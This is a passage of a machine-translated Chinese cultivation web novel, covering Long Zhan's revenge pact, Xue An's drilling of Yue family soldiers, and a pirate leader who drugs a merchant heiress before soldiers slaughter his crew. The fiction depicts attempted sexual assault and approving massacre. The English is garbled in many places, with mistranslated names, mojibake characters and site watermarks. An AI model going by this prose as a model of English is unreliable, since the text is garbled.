    Soon, Feizhou came to Beauty Tears and stopped in front of the red sleeves.


    This flying boat is of extremely high grade, and it is obviously a big figure in the dragon family that is qualified to ride.


    So as soon as it stopped, the red sleeves greeted them.


    The smile on the face of the old bustard who took the lead almost overflowed.


    But when the door of the flying boat slowly opened, Long Zhan stepped down from above.


    Even the old bustard, who has been playing around in this stormy field for many years, couldn''t help feeling a chill in his heart, and the smile on his face froze even more.


    Without him, the dragon looks like a ghost at the moment, covered in blood, and the hair on his body will stand upright at that point.


    "What? Didn''t you even say hello when you saw me?" Long Zhan said coldly, with a hint of murder in his tone.


    The old bust shook his heart. At the beginning, Long Zhanke was involved in the red sleeves. She also heard of what she did in the Long family, so she quickly suppressed the panic in her heart and said with a smile on her face.


    "Oh, how is it possible, I just didn��t expect you to come today, Shao Long, so I was stunned with joy. Hurry up, please come inside. You don��t know. In the past few days when you are not here, many girls are talking about you. Yeah!"


    The old bustard said very enthusiastically.


    Long Zhan stopped abruptly, and then said grimly: "Oh? What are you talking about me?"


    The old bust felt that his scalp was tingling, and he smiled and said, "This...this...Of course I miss you!"


    Long Zhan gave a sneer, ignored the old bustard, and walked inside.


    Everyone retreated to the side wherever they went.


    Seeing this, the old bust hurriedly told the people behind him: "Be careful, this master is obviously coming with anger today, remember to find a few talkatives later!"


    "Yes!"


    Naturally, it was the private room exclusively used by Long Zhan before.


    Although Mars had also affected this place at the beginning, with the strength of the red sleeve move, the situation has been restored in one day.


    Long Zhan sat in a familiar seat, but he was not happy at all.


    The place is still the same, but he is no longer what he was a few days ago.


    Thinking of this, his heart hurts like a needle prick, and red light glows faintly in his eyes.


    The bloodthirsty desire that had just been vented, suddenly began to become active again.


    This also caused the temperature of the entire room to drop by several degrees, and when a few beautiful girls walked into the private room, Lingling couldn''t help but shudder.


    The old bust greeted enthusiastically, "Young Master Long, are you satisfied?"


    Long Zhan looked at these women with a sullen face, and then nodded.


    "Go and stay with Young Master Long!" The old bustard said quickly.


    These women were very scared in their hearts, but they didn''t dare to defy, so they could only move forward and pretend to smile.


    "Young Master Long, you haven''t been here for a long time! Come on, have a drink first!"


    With that, a woman filled up the wine and handed it over.


    But Long Zhan grabbed her wrist.


    The woman screamed, and the wine glass fell to the ground.


    "Young Master Long!"


    "What do you mean by what you just said? Why did it mean that I haven''t been here for a long time? Are you mocking me?" Long Zhan said with red eyes.


    The woman was so frightened that she couldn''t even speak.


    The old bustard also changed slightly, but he did not dare to say anything.


    Because who didn''t know that Long Shao, who was already very temperamental, was even more tyrannical after the accident.


    "Huh? No words? Do you dislike my face?" The killing intent in Long Zhan''s words became more fierce.


    But just as he was about to explode, he heard a chuckle from outside the door.


    "Dignified Long Family, why is UU reading having trouble with a weak woman?"


    "Who is it? Who is talking? Get out of here!" Long Zhan was furious.


    "Hehe, don''t have to be so angry, I''m right behind you!"


    Long Zhan turned his head and looked around, but saw a man sitting on a chair in the corner behind him.


    This person didn''t know when he came in, and was looking at himself with a smile.


    "Tsk tsk, so poisonous fire, it hurts the face like this!"


    Long Zhan''s pupils gradually shrank, staring at this person.


    "what did you say?"


    Not only was this person not afraid, but he smiled faintly, "Long Shao don''t get me wrong, I am not here to laugh at you, on the contrary, I want to make a deal with you!"


    "Deal? What deal?"


    "A deal that can give you revenge!"

 Chapter 2284： A vengeance deal

    The room instantly became quiet, Long Zhan''s eyes were slightly narrowed, and he stared at the man coldly.


    It is strange that although this man is sitting very close, he cannot see his exact age and facial features.


    As if a hazy mist enveloped it, it gave people a mysterious and treacherous feeling.


    "What revenge deal?" Long Zhan said coldly.


    The man chuckled, but did not directly respond to Long Zhan''s words, but looked at the women who accompanied Long Zhan.


    "It really deserves to be a well-known beauty with tears and red sleeves. The quality of these women is really good."


    Long Zhan snorted coldly and waved his hand, and these women hurriedly backed out.


    Soon, only Long Zhan and this mysterious man were left in the entire room.


    "There is an isolation circle cast in the wall of this box. It has been activated now. No matter what happens inside, the outside world will not hear, so you can say it." Long Zhan said.


    The man smiled slightly, and then said slowly: "I think Long Shao, who was once suave and suave, suddenly became like this ghost. He must really want to kill the person who killed you like this, right?"


    "nonsense!"


    The man didn''t care, and then continued: "Let me just say it, Young Master Long should really want to kill the man next to Yue Qinghuan and take Yue Qinghuan as his own, right?"


    Long Zhan sneered, "So what?"


    "As long as Shao Long thinks that way, then our deal can continue!" The man said with a smile.


    "Oh? How to continue?"


    "It''s very simple, I give you the ability to kill that man, and you... are responsible for killing him honestly for me when performing martial arts!"


    Hearing this, Long Zhan almost laughed, "Are you sure you are not joking?"


    "Why do you say that?" the man said with a smile.


    Long Zhan sneered, "Let''s not say whether you have that ability, if you do, why don''t you do it yourself, but have to fake it with me?"


    The man smiled, "Good question! The reason is actually very simple, because this guy''s identity is a bit special, so special that I can''t directly deal with him, otherwise it will cause some unnecessary trouble!"


    "And you are not. Because of your grudges with him and the rules of your martial arts field, killing him will not arouse anyone''s suspicion and attention!"


    Long Zhan still sneered, because he didn''t even believe a word of what the man said.


    Even he had some doubts about who sent this man.


    "Are you finished? Get out of here while I don''t want to kill anymore!" Long Zhan picked up the wine glass in front of him and decided not to ignore the man.


    But at this moment, the man sighed softly, "What a fool!"


    When the words were over, the mist that had haunted his face suddenly separated, and flew into Long Zhan''s eyebrows with lightning speed.


    Be yelling!


    The wine glass in Long Zhan''s hand fell to pieces and fell to pieces.


    And he sat where he was in shock.


    Because at this moment, he suddenly felt an indescribable force surge in his body.


    This power even gave him the illusion that he could smash a star with one punch.


    Therefore, he couldn''t help raising his eyes suddenly, and looked at the man with horror.


    "Can you believe it now?" the man smiled.


    Long Zhan''s heart shook wildly.


    Because he couldn''t guess the origin of this man and the depth of his cultivation.


    But judging by the fact that he can give him such a powerful force at his own hand, this person is absolutely extraordinary, even stronger than his father, Long Yushu, the lord of the Long Family.


    In an instant, a thought came to his mind.


    But before he could say anything, the man shook his head.


    "Impossible, the fire poison in you is even inherited from the ancient Zhu Rong line, even if it is me..."


    A strong jealous look appeared in the man''s eyes, "I don''t want to be contaminated by these guys!"


    "But as long as you successfully kill this Xue An and take out the ancient fire that he swallowed, I can help you recover from your injury!"


    "Really?" Long Zhan''s eyes lit up.


    The man smiled and said, "Of course it is true!"


    "Now I have some last questions!"


    "Say!"


    "Who are you? Why do you want to deal with Xue An?" Long Zhan asked in a deep voice.


    "It doesn''t matter who I am, as for why I have to deal with this Xue An..."


    The man sneered, and then said a vague sentence, "The resurrection has to be strangled in the baby to be the safest!"


    Long Zhan still wanted to ask something, but at this moment, the man who was sitting in the chair turned into a cloud of mist and gradually dispersed.


    At the same time his indifferent voice came from the void, "Remember, you haven''t seen anyone here today, understand?"


    Long Zhan nodded, "Yes!"


    "I''m waiting for your good news!"


    When the words fall, everything returns to silence.


    If it were not for the broken wine glass on the ground and the surging power in his body, Long Zhan would really suspect that what had just happened was an illusion.


    He stabilized his mind, then got up and walked out.


    Xue An!


    When performing martial arts, I will repay you ten times the revenge for ruining my face and destroying my foundation!


    Everything that happened to Long Zhan didn''t attract anyone''s attention, and even the girls in the red sleeve move had their memories tampered with by Long Zhan.


    They only remembered drinking with Shao Long until late today.


    After Long Zhan returned to the Long Family Headquarters, he immediately locked himself in the house and began to organize the power he had gained.


    Just when Long Zhan is like a poisonous snake that chooses people to eat, hibernating in the darkness and waiting for the day of martial arts to come.


    In that Yue family training ground, after crossing the finish line, the panting Yue Junze thumped and fell to the ground, unable to stand up anymore.


    The other pawns were better than Yue Junze, but they were also sweating profusely, unable to speak.


    Yue Qinghuan walked up to Yue Junze a little distressed, leaned over and asked, "How is it?"


    Yue Junze was out of breath, and only after breathing for a long time did he say: "Three... Three sisters, I''m fine!"


    When talking about this, Yue Junze''s face showed a sense of fortitude, "As a child of the Yue family, I can naturally do what others can do!"


    Looking at Yue Junze, who has completely lost his strength but is still firm, Yue Qinghuan''s eyes can''t help showing admiration.


    "Okay, this is my Yue family man!"


    In fact, Yue Junze''s original intention to come to the training ground was to relax, but he didn''t expect to wait here and watch the pawns being trained by Xue An in full swing.


    With a juvenile mind, he couldn''t help but eager to try, and then joined the training team.


    At the beginning, even Yue Qinghuan thought he was just playing a ticket, and the other soldiers were waiting to see when he quit.

 Chapter 2285： Build power with blood

    Unexpectedly, this Yue Junze actually had an indescribable resilience, and he had survived a few days of training.


    Today''s 50-lap cross-country running around the entire training ground was beyond everyone''s expectations, because Yue Junze not only persevered, but also was faster than some soldiers with less basic foundations.


    Because of this, Yue Junze won the respect of everyone.


    At this moment, everyone has crossed the finish line and is recovering in breathlessness.


    Because this cross-country long-distance race is not so simple, first of all, you must not use any mana cultivation base, and complete it purely on your own physical strength.


    The second is that there is a time limit. If one person fails to complete the timeout, everyone will be punished.


    This is an extremely inhumane rule, but fortunately everyone completed it within the stipulated time.


    But just as everyone breathed a sigh of relief, Xue An''s voice came.


    "Lined up!"


    With two simple words, the soldiers lying or lying down seemed to be electrocuted, and jumped up directly, and then began to line up at an extremely fast speed.


    In the blink of an eye, all the soldiers returned to their positions, looking at Xue An neatly and solemnly.


    Yue Qinghuan dragged the exhausted Yue Junze to the periphery of the team and watched this scene in amazement.


    Who would have thought that such a banned team would still be in a mess a few days ago?


    Only then did Yue Qinghuan fully understand why Xue An kept letting these soldiers practice running.


    His purpose is not to exercise physical fitness, but to kill the arrogance in their hearts and let them produce a sense of obedience from the bottom of their hearts.


    Only in this way can they finish it almost subconsciously after hearing Xue An''s order.


    Did he figure out this training technique himself?


    Yue Qinghuan thought silently in his heart.


    Seeing this scene, Yue Junze looked at Xue An''s back with almost admiring eyes, then lowered his voice and said.


    "Three sisters, the third sister-in-law is so amazing!"


    "Bah, how many times have I told you, he is not your third brother-in-law, don''t scream!" Yue Qinghuan took a sip, but his face was already red.


    Yue Junze smiled, but in his heart he thought that the appearance of the third sister''s refusal was really cute!


    It can be seen that she definitely has this meaning in her heart.


    Otherwise, if she were to be replaced by someone else, she would have gone violently long ago!


    Xue An certainly didn''t know what Yue Qinghuan and Yue Junze were talking about, and he didn''t care about it either.


    At this moment, he looked at these soldiers with a sinking face, and wherever his eyes passed, the hearts of these soldiers trembled.


    There is no other reason, it is because of the devil training these days, Xue An has left too deep a shadow in their hearts.


    Someone even secretly called him King Xue Yan.


    Xue An did not pursue this, because he knew very well that he had too little time now. If he wanted to make this team reborn, he could only use iron and blood.


    As for the title of King Xue Yan..., Xue An is actually used to it.


    When Xue An scanned the entire team, he couldn''t help nodding secretly in his heart.


    Although the time is short, because the quality of these pawns is extremely high, coupled with the cruel training that is almost hell, so at this moment this team has a faint courage.


    Especially after these people stood in line, the violent evil spirit that filled up was even more moving.


    From these perspectives, this team can barely be called an elite division.


    But if you want to get good results in the martial arts show, or even win the championship, this is far from enough!


    Therefore Xue An said coldly: "Do you think you can be called elite now?"


    As soon as this statement came out, these soldiers were a little surprised.


    how?


    Isn''t that enough?


    You must know that the reason why they are so convinced of Xue An is that they can clearly feel their progress.


    Hearing what Xue An means now, it seems to be much worse!


    At this moment, Xue An said solemnly: "I know, many of you must be thinking at this time, is this not enough? Then I will tell you now, not enough! And it''s still far, far away!"


    "Yes! You are indeed banned, and there are a few shadows of elite soldiers, but this is only on paper, because the real elite soldiers must have seen blood!"


    There was a low uproar in the audience.


    Many soldiers showed dissatisfaction on their faces.


    Xue An didn''t say a word either, just watched quietly.


    It wasn''t until the sound of the riots gradually calmed down that he said coldly, "Do you think what I said was wrong? After all, almost all of you were once strong, with the blood of countless enemies in your hands?"


    "But that''s just your personal bravery. If you want to build an invincible teacher, your personal bravery is not enough. You must use your blood to condense your momentum and hone your unity, so that you can truly mature!"


    With that, Xue An turned to look at Yue Qinghuan who was aside.


    "I remember you told me before that there is a group of interstellar pirates hidden in a star field that is only three days away from here?"


    Yue Qinghuan was taken aback, then nodded, "Yes, but..."


    Yue Qinghuan suddenly understood something. Just about to speak, Xue An waved her hand, motioned her not to say anything, and then looked at the soldiers again.


    "Have you heard that, just three days away from your Yue family, there are interstellar pirates who dare to run rampant. What does this mean?"


    "This shows that your Yue family''s power is gradually dissipating, otherwise they will not dare to entrench your eyelids with the courage of these interstellar pirates!"


    The audience was silent.


    Someone tried to refute, but was silent in the end.


    Because what Xue An said is the truth.


    But the three-day journey is like the doorway of home to the vast star field.


    And this interstellar pirate dared to occupy the door of the house grandiosely. Does this mean that the Yue family should not be taken seriously?


    "So next I only have one order, which is to use your hands to tear up this pirate, so that they understand that the majesty of the Yue family cannot be challenged, and this battle will also be your first step to prove yourself!"


    "Because only you as a whole have passed the test of blood and fire before you have truly entered the threshold of elite soldiers, so..."


    "Do you have confidence?"


    "Yes!" The audience moved sensationally.


    "I can not hear!"


    "Have!"


    The sound even shook the ground under his feet. UU reading


    Xue An nodded in satisfaction.


    "Very well, then set out now and use the enemy''s blood to stain the road under your feet red!"


    With an order, it was as if the beast cage had been opened, all of these soldiers, with red eyes, rose into the sky like bloodthirsty beasts, and flew towards the distant void.


    Yue Qinghuan stared at this scene blankly, shaking uncontrollably.


    Yue Junze on the side was already crying with excitement, and suddenly shouted: "San brother-in-law, let me go too, I''ve seen those brave pirates not pleasing to my eyes, I will kill them personally!"


    Xue An also liked this Yue Junze, but it was really a headache for him to call him.


    For example, just after this sound, Xue An felt a pain in his eyebrows, and a sorrowful consciousness made his whole body stand up.


    He couldn''t help saying silently: "Yan''er, don''t make trouble!"


    Then he coughed slightly, "No screaming in the future, let''s go!"

 Chapter 2286： pirate

    Lu Bingtang happily stored the most precious part of the treasures he had just plundered into his personal space.


    As the head of this pirate, he naturally has this right.


    After he had finished the selection, it was the turn of the remaining leaders to choose.


    And this is what they take for granted every day.


    Because they are in this position right next to a very prosperous commercial road, there are so many merchant ships that go to and fro every day, they don''t even have to take the initiative to attack, just sitting at home, merchant ships will take the initiative to pay tribute for safety.


    This made Lu Bingtang and the others living here extremely moisturized, and they were even a little bit reluctant to think about it.


    After the equalization, these big and small bosses flattered for a while.


    Lu Bingtang was complacent, "Today''s harvest is really good, what kind of tribute turned in by merchant ships!"


    A little boss stepped forward and said: "Back to the boss, it is a caravan going to the Yue family to hand in the tribute!"


    "Oh? It''s the Yue Family Caravan?" Lu Bingtang was taken aback, and immediately came into interest.


    "Tsk tsk, we''ve been staying at the Yue family for a while, and now the Yue family caravan is here, so I just take this opportunity to take a look at it, so thank you for the friendship of the landlord!" Lu Bingtang said consciously and humorously.


    The whole room roared with laughter.


    "That''s right, we have to take care of the Yue family to have such a good business, so naturally we have to thank you!" The big boss laughed.


    There was a person next to him winking his eyes and said: "You said, I went when this caravan was paying tribute. The leader is a charming little lady!"


    As soon as these words came out, the gang of pirates all laughed weirdly.


    Some people even slapped their beards and said: "The boss will definitely take this little lady down!"


    Lu Bingtang tidied up his clothes quite contentedly, and then said lightly: "Go, let''s take a look first, if it suits her appetite, she really won''t be able to leave today!"


    The audience suddenly promised, and then followed Lu Bingtang.


    At the same time, a huge caravan hovered quietly in space.


    In the command room of the leading ship, Jing Caihe, who was full of anger, slammed the command platform.


    "Asshole, you have already paid the toll, why don''t you let us go?"


    "The other party said that it was their chief leader who would come to visit in person!" said one of his subordinates with a bitter expression on his face.


    "Chief boss?" Jing Caihe was taken aback, "What is the chief boss of a pirate who came to visit us?"


    "do not know!"


    Jing Caihe was silent for a moment, and finally waved his hand weakly, "Okay, I know, you go down first!"


    This subordinate hesitated to speak, and finally sighed, turned and walked out.


    Jing Caihe was left in the huge command room.


    She leaned sullenly on the podium, her heart full of sadness.


    As a family that has been cooperating with the Yue family for hundreds of years, although Jing Caihe has not taken over this route for long, it has already established close ties with the Yue family.


    All kinds of daily necessities and training equipment needed by the Yue family are provided by the Jing family.


    And this annual pass will not only bring huge profits to the Jing family, but also give them a solid backing and backing.


    This is the reason why the Ky�� family can stand still in the chaotic outer sky.


    But in recent years, the situation of the Jing family has gone from bad to worse.


    The most direct manifestation is the sudden change of attitudes of some people who were respectful and responsive to the Jing family in the past.


    Not only will it no longer be convenient, but it will also hinder it in many places.


    Then came the encounter on the trade road.


    In the few years when Jing Caihe was in charge of this route, the whole route was unimpeded, without any fetters.


    However, many interstellar pirates suddenly appeared in the back, and even pirates were entrenched at the door of the Yue family only three days away.


    Even so, these pirates did not dare to interfere with the Kyocera caravan at the beginning.


    After all, they are working for the Yue family.


    But just last year, these pirates suddenly went uncharacteristically and didn''t give the Jing family any face.


    In desperation, Jing Caihe had to take the initiative to pay tribute in order to pass safely.


    This year this year is no exception, but I never expected that I had already paid enough money to buy roads, but still refused to let me pass. He also said that the chief boss would come to visit. Regarding the current embarrassment facing the Jing family and Jing Caihe knew the cause of the crisis caused by these pirates along the way.


    All because people have gradually lost awe of the declining Yue family.


    How can this not make Jing Caihe sad and angry.


    At this moment, I heard a rush of footsteps outside the door, and then someone reported in a deep voice.


    "Miss, the pirates are here and they say they want to see you!"


    Jing Caihe took a deep breath, "Okay, I know, go back and tell them, I will come later!"


    "Yes!"


    The subordinate retired.


    Jing Caihe stood in front of the mirror, looked at the charming self in the mirror, her lips were slightly pursed, and a chill flashed in her eyes.


    These pirates did not come here in good faith, so she must be fully prepared in advance.


    She stretched out her hand to hide a sharp sword in her sleeve, and fitted a life-saving talisman next to her body.


    After finishing all this, Jing Caihe took a deep breath, the face in the mirror gradually became cold, and then turned away.


    now.


    In the meeting room of the giant ship, Lu Bingtang was sitting upright and drinking tea.


    The subordinates huddled together, discussing in a mess.


    "Hey, those people have already reported the letter just now, and I''ll see the leader in a while! I heard that she is still the eldest of the Jing family!"


    "The **** Jing family, now even their backstage supporter Shanyue family has fallen, how old are they?"


    "But this is also a well-known eldest daughter, it must feel different when playing!"


    "Of course! Blessed is the boss today!"


    The topics discussed by these guys are getting more and more obscene. UU reading www.uukANAnshu.com


    At this moment, there was a crisp sound of footsteps in the corridor outside the meeting room, and then the door opened and Jing Caihe stepped in.


    As soon as she appeared, the whole meeting room was instantly quiet.


    At most, they had seen some vulgar pirates in various brothels and Chu Pavilions, and they were all stunned at the moment.


    There is no other reason. Jing Caihe, who is really cold-faced, can indeed be called the four words of Qianjiao Baimei.


    Especially the indifferent and lofty temperament on her body makes many people feel itchy and intolerable.


    Even Lu Bingtang couldn''t help but his eyes lit up, and then stood up with a smile on his face.


    "This must be the girl from Beijing Choi Hejing, my next person, Lu Bingtang, is the chief leader of this pirate team. I had the honor to meet today. It''s... really gratifying!"


    Originally, Lu Bingtang, who didn''t have much ink in his chest, insisted on expressing the brilliance today, so he racked his brains to come up with an adjective, but how strange it sounds.

 Chapter 2287： Jing Caihe

    Jing Caihe was unmoved at all, and even after seeing Lu Bingtang, who was pretending to be elegant but vulgar, her eyes flashed with disgust.


    Then he said coldly: "Boss Lu, our caravan has paid enough tolls, but we are not allowed to pass. I don''t know what this means?"


    Lu Bingtang smiled, "Don''t worry, leaving will definitely let you go, but not now!"


    "Oh? When is that?" Jing Caihe asked with anger in his heart.


    Lu Bingtang smiled brightly, "Which...I have to consider the long-term plan. If the Beijing girl can do what I am satisfied with, I can let it go now, otherwise..."


    "I don''t know when I can let you go!"


    "You..." Jing Caihe was furious, but he swallowed again when the words reached his lips.


    no way!


    Now the situation is better than people.


    These pirates have been entrenched here for several years, and their forces are already strong.


    Relying on their caravan''s escort, it is not the opponent of these pirates at all.


    So she suppressed her anger and said coldly: "What do you want me to do?"


    "It''s nothing, but I have admired Miss Jing for a long time, and want to drink three glasses with Miss Jing!"


    As he said, he winked at the left and right.


    These pirates were all prepared, and someone immediately stepped forward to open the portable space and took out the tables, chairs, benches, and various exquisite dishes.


    In the blink of an eye, a sumptuous banquet was placed in front of everyone.


    Lu Bingtang smiled brightly, "Girl Beijing, please!"


    A touch of humiliation appeared in Jing Caihe''s eyes.


    She was also the eldest lady of the Jing family anyway, although she was incomparable with the ancient families such as soldiers, but she was still behind the famous family.


    It is a shame to be forced to drink by a rude pirate leader now.


    But again, the situation is stronger than that of people. In order to deliver the goods smoothly, she had to forcibly control the anger in her heart and sat down with a cold face.


    Lu Bingtang smiled so that his eyes were narrowed, and he picked up the jug on the table and filled Jing Caihe with a glass, and then passed it over.


    "Girl Beijing, I will toast you first!"


    With that, Lu Bingtang drank the wine in one cup.


    Jing Caihe didn''t want to drink, but he could only pinch his nose and pour it down, then put the wine glass on the table again.


    Seeing this scene, Lu Bingtang''s eyes showed a touch of triumphant triumph, and then he filled a glass calmly.


    "Come on, this is the second cup!"


    Jing Caihe took the cup in hand, looked at Lu Bingtang on the opposite side, and said with a deep face, "Do you think you can let it go after three cups?"


    Lu Bingtang smiled and nodded, "Yes!"


    "Speaking can be regarded as talking?"


    "Hehe, how can a man''s words not count?"


    "Okay!" Jing Caihe didn''t wait for Lu Bingtang''s urging, and raised his head to take another cup.


    "Come again!"


    With that, Jing Caihe threw the glass over.


    Lu Bingtang was not angry, but filled the glass again with a grin.


    "Come on! This is the third cup!"


    At this time, Jing Caihe felt that alcohol was rising in her chest, but she didn''t want to show it in front of these people, so she suppressed it.


    But because of this, a pretty face quickly reddened to the base of her ears, making her even more charming.


    The gang of pirates present all saw their eyes straight.


    Have they ever seen such a stunning look?


    Lu Bingtang''s eyes even showed strong greed, but he tried his best not to show it, and raised his hand to pass the wine glass over.


    Jing Caihe took the cup in his hand, bit his silver teeth, and then raised his head to drink.


    "Okay!" Lu Bingtang''s eyes lit up, and he couldn''t help applauding.


    He was applauded, and there was a burst of clamor from those present.


    "Good drink!"


    "Really women don''t want to be shaved!"


    But how did these praises reveal an unkindly treacherous gesture.


    Jing Caihe couldn''t care about this anymore, because she was shocked to find that after the third cup of wine, her head buzzed and she was completely dizzy.


    There was even blackening before her eyes.


    This made her heart squeeze together in an instant.


    what happened?


    Could it be that what''s in this wine?


    At this point, she hurriedly urged her cultivation base to try to hangover, but it was only then that she suddenly realized that her whole body''s cultivation base had actually been imprisoned.


    Not to mention the operation, not even a single bit can be used.


    This discovery made her horrified, and a thought flashed through her mind.


    not good!


    There is something in this wine!


    At this moment, I listened to Lu Bingtang, who was on the opposite side, laughing and saying, "How about girl Beijing, are you satisfied with the gift I prepared for you?"


    Jing Caihe''s consciousness had begun to blur at this time, but she still tried her best to glared at Lu Bingtang.


    "What did you put in the wine?"


    "I didn''t drop anything, I just mixed it with some spirits that was enough to drunk the dragon, how about it? Does it taste good?" Lu Bingtang said with a smile.


    At this time, the subordinates who followed Jing Caihe also noticed something was wrong, and just wanted to do it.


    These pirates rushed forward and directly subdued them all under the suppression of absolute strength.


    After finishing all this, Lu Bingtang stood up with a smile, "Ms. Jing, your subordinates seem to be a bit dishonest, I will clean them up for you, I hope you don''t mind!"


    With that said, Lu Bingtang stepped forward towards Jing Caihe.


    At this time, Jing Caihe couldn''t even move. He could only watch Lu Bingtang walk towards him with a lewd smile, he couldn''t help but feel cold, his eyes showed infinite despair.


    Thousands of calculations did not count that these pirates would be so bold and even dare to attack themselves.


    Could it be that your innocence is about to be lost here?


    At this point, Jing Caihe put together the last bit of strength and tried to commit suicide.


    But Lu Bingtang had long been prepared for this trick, and with a wave of his hand, a force of divine thought completely confined Jing Caihe.


    "Want to die? It''s not that easy!"


    As he said, Lu Bingtang leaned down with a grin and wanted to kiss Jing Caihe.


    But at this moment, the giant ship under his feet suddenly shook.


    "What''s the matter?" Lu Bingtang was surprised. UU reading www. uukanshu. com


    These pirates also looked at each other, not knowing what was happening outside.


    But after this huge quake, calm was restored outside.


    But it was this calm that made Lu Bingtang''s complexion drastically changed.


    Because it was so quiet outside, it seemed as though the entire living room was isolated.


    "Who is it?" Lu Bingtang drew away from his work!" Lu Bingtang shouted.


    But there was still no response from outside.


    Jing Caihe, who had fallen into complete despair, had a glimmer of hope in her heart at this moment.


    Although she was tightly bound and couldn''t perceive the outside world, she knew that Lu Bingtang''s exaggerated appearance also knew that something must have happened.


    At this moment, I heard a sound of footsteps.


    The footsteps sounded so strange, it seemed to be a person, but it seemed that there were thousands of troops advancing together.

 Chapter 2288： Leave him 1 and kill the rest

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    In the banquet hall, all the pirates went wild.


    Lu Bingtang shook his body even more, then hissed loudly: "Quick! Defend!"


    But as soon as his voice fell, he heard a loud bang, and then the whole banquet hall disappeared!


    That''s right!


    It''s the kind of missing you imagine.


    But seeing that the originally extremely strong steel wall of the banquet hall was torn to pieces like a thin layer of paper, a group of brave soldiers with a fierce spirit came along as the smoke and dust were everywhere.


    Although there are a large number of people, every step they take is so neat and uniform, just like a person, making the entire giant ship tremble.


    Boom boom boom!


    The sound of footsteps was like knocking on the chests of Lu Bingtang and the others, causing their breathing to stop.


    Lu Bingtang''s eyes gradually widened, watching the scene in disbelief until they completely got out of the smoke and dust, and then murmured in a nearly groaning tone.


    "No... it''s impossible! How could it be them?"


    As the pirate leader who has been entrenched in the door of Yue''s house for so long, he certainly knew the costumes of the soldiers of the Yue family.


    In fact, in the first few years, he did worry about whether this elite soldier would trouble himself.


    But after several years of probing, he found that the soldiers of the Yue family seemed not as terrible as the rumors, so he gradually relieved his mind.


    This is why he has become more unscrupulous.


    But he never expected that, just today, he actually saw a scene that only appeared in a nightmare.


    Not only him, but only after the Yue family soldier who was silent and speechless.


    The pirates who were indispensable and thought they were the eldest son of the gods were all silent.


    Then he craned his neck and stared blankly.


    That scene really seemed to have an invisible hand pinched their necks and then abruptly lifted them up.


    Although Jing Caihe was drunk at this time, she also sensed the strangeness of the outside world, and she didn''t know where the strength came from. She suddenly broke away from the shackles, and tried her best to look sideways.


    Tears couldn''t help but burst into tears after seeing the familiar Yue family logo.


    Because she knew that she was saved!


    And it was rescued by the Yue family, who had been regarded as a sick tiger by some people.


    At this moment, Lu Bingtang suddenly felt excited and suddenly understood.


    Then his face was quickly filled with smiles, and he stepped forward and said to the few team leaders standing in the front.


    "It turns out that it was the Yue Family Heavenly Soldier who came here. It was really a misunderstanding. We are only here today to have fun with Beijing girl. Why is there such a big battle? Do you want to sit together for a while?"


    In this remark, he not only concealed his conspiracy lightly, but also tried to win over these small captains. It can be seen that he, the chief pirate leader, is not in vain.


    Unexpectedly, in the face of his wooing and flattery, these team leaders didn''t move at all, and didn''t even blink their eyelids.


    The atmosphere instantly became awkward and weird.


    Lu Bingtang''s eyelids were beating frantically, but the smile on his face remained unchanged.


    "You guys must have worked hard to come here. It just so happens that I recently got a bunch of gadgets, and each one will bring a little later. What do you think?"


    This was already blatantly pleased, but these soldiers were still unmoved.


    Lu Bingtang finally couldn''t hold it anymore, the muscles on his face jumped suddenly, and his smile stiffened.


    "Everyone... what do you mean by this?"


    The crowd suddenly heard a chuckle, "What do you mean...Don''t you know it yourself?"


    Following the voice, they saw these soldiers parting a road silently, and then Xue An, Yue Qinghuan, and Yue Junze walked in.


    Upon seeing the three of them, Jing Caihe suddenly started struggling. Although she could not speak, she still whimpered in her mouth.


    When Yue Junze saw her, he couldn''t help exclaiming, "Sister Caihe!"


    Then he glared at Lu Bingtang, "Why did you pick Sister He?"


    Lu Bingtang didn''t hear Yue Junze''s questioning at all, because at this moment, all his attention was attracted by Xue An, who was walking in the front.


    Rather, it should not be attraction, but suppression.


    Moreover, it is suppressed in all directions without dead ends.


    He felt that the power of this white-clothed boy was like the vast ocean, endless.


    Although I only took a look, I suppressed myself and couldn''t even speak.


    This can''t help making him feel terrified.


    Who is this man?


    Why haven''t you seen it before?


    At this time, Xue An glanced over the faces of the pirates present with a playful look, and finally stayed on Lu Bingtang, and then smiled slightly.


    "Are you the chief of this pirate?"


    Lu Bingtang didn''t want to respond, but somehow, when he heard Xue An''s question, he nodded like a ghost.


    "Very good! Just leave him, the others... kill them all!" Xue An said lightly.


    With an order, before Lu Bingtang could react, the soldiers of the Yue family rushed forward like a black torrent.


    Puff puff!


    With the sharp sound of the blade passing through the muscles, the flower of blood began to bloom in this banquet hall.


    The sounds of begging for mercy, roars, and howls before he died were mixed together, and the disgusting blood was poured into Lu Bingtang''s perception, making his face pale as snow.


    In the blink of an eye, the pirates who had just been alive and kicking all fell together and became dead bodies on the ground.


    After doing all this, the soldiers of the Yue family seemed to have completed a trivial thing, silently returning to the place.


    Lu Bingtang''s psychological defense was instantly defeated.


    Because during this whole process, his subordinates were ruthlessly harvested like the rice in the field, and the soldiers of the Yue family were not even injured. This gap was simply desperate.


    thump!


    Lu Bingtang knelt down weakly, looking at Xue An with a dull expression.


    At this time, Yue Qinghuan and Yue Junze had already stepped forward to rescue Jing Caihe.


    Although the Jing family eldest lady who had escaped from the dead was still in shock, she still looked at Xue An, who was standing in the front of the team in white clothes, in amazement.


    As if feeling her doubts, Yue Junze said in a proud tone: "This is my third brother-in-law, how about it? Isn''t it amazing?"


    Third brother-in-law?


    Jing Caihe turned his head and glanced at Yue Qinghuan.


    Yue Qinghuan blushed and tweeted: "It''s not like that when you listen to him nonsense!"


    Although she is denying, how can Jing Caihe, who is also a woman, fail to hear Yue Qinghuan''s insincere words.


    This also made her more curious about Xue An.


    After all, who didn''t know that Yue Qinghuan was a famous goddess-level existence in the entire military family, but she had never favored any man.


    Today, she was so special to this young man in white, which obviously surprised Jing Caihe.


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 2288, leave him alone, and kill the rest (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2289： Just push it over

    Chapter 2289 Just Push It Over (Second)


    At this moment, Xue An looked at Lu Bingtang, who was kneeling on the ground, and said lightly: "Do you know why you killed you?"


    How could Lu Bingtang not know why at this time, so he could only nodded with a wry smile, "I know!"


    "Very well! It''s impossible for you to survive, but as long as you hand over all your portable space and identify all the pirate dens nearby, I can give you a good time!"


    The brilliance in Lu Bingtang''s eyes dimmed completely, and he knew that Xue An was telling the truth.


    But out of the desire to survive, he still wanted to struggle.


